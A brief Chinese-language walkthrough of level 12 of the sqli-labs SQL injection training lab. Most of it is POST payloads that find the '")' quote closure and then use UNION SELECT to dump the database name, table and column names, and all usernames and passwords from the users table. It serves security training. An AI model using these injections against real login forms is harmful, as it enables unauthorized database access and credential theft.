sqli-labs (less-12)

sqli-labs (less-12)

进入12关，我们发现页面和11关一样，我们先输入用户名和密码进去，我们发现用户名和密码也是使用POST的方式传了上去，那我们像11关一样使用hackbar抓取POST请求

判断注入类型

uname=admin'&passwd=admin&submit=Submit #页面不报错
uname=admin"&passwd=admin&submit=Submit #页面有错误显示

根据输入"时的报错信息我们确定闭合方式为")，也确定为字符型注入

查看当前数据库

uname=a") union select 1,database()# &passwd=admin&submit=Submit

查看security库下的所有表

uname=a") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')# &passwd=admin&submit=Submit

查看users表下的所有字段

uname=a") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')# &passwd=admin&submit=Submit

查看username和password字段的值

uname=a") union select 1,(select group_concat(username,password) from security.users)# &passwd=admin&submit=Submit